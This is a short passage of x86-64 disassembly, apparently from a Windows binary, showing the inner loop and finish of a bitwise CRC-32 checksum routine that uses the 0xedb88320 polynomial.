mov dword [rsp], eax
mov dword [rsp + 8], 7
jmp 0x140029ee6
mov eax, dword [rsp + 8]
dec eax
mov dword [rsp + 8], eax
cmp dword [rsp + 8], 0
jl 0x140029f0f
mov eax, dword [rsp]
and eax, 1
neg eax
mov dword [rsp + 0x10], eax
mov eax, dword [rsp]
shr eax, 1
mov ecx, dword [rsp + 0x10]
and ecx, 0xedb88320
xor eax, ecx
mov dword [rsp], eax
jmp 0x140029edc
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
jmp 0x140029ea0
mov eax, dword [rsp]
not eax
add rsp, 0x28
ret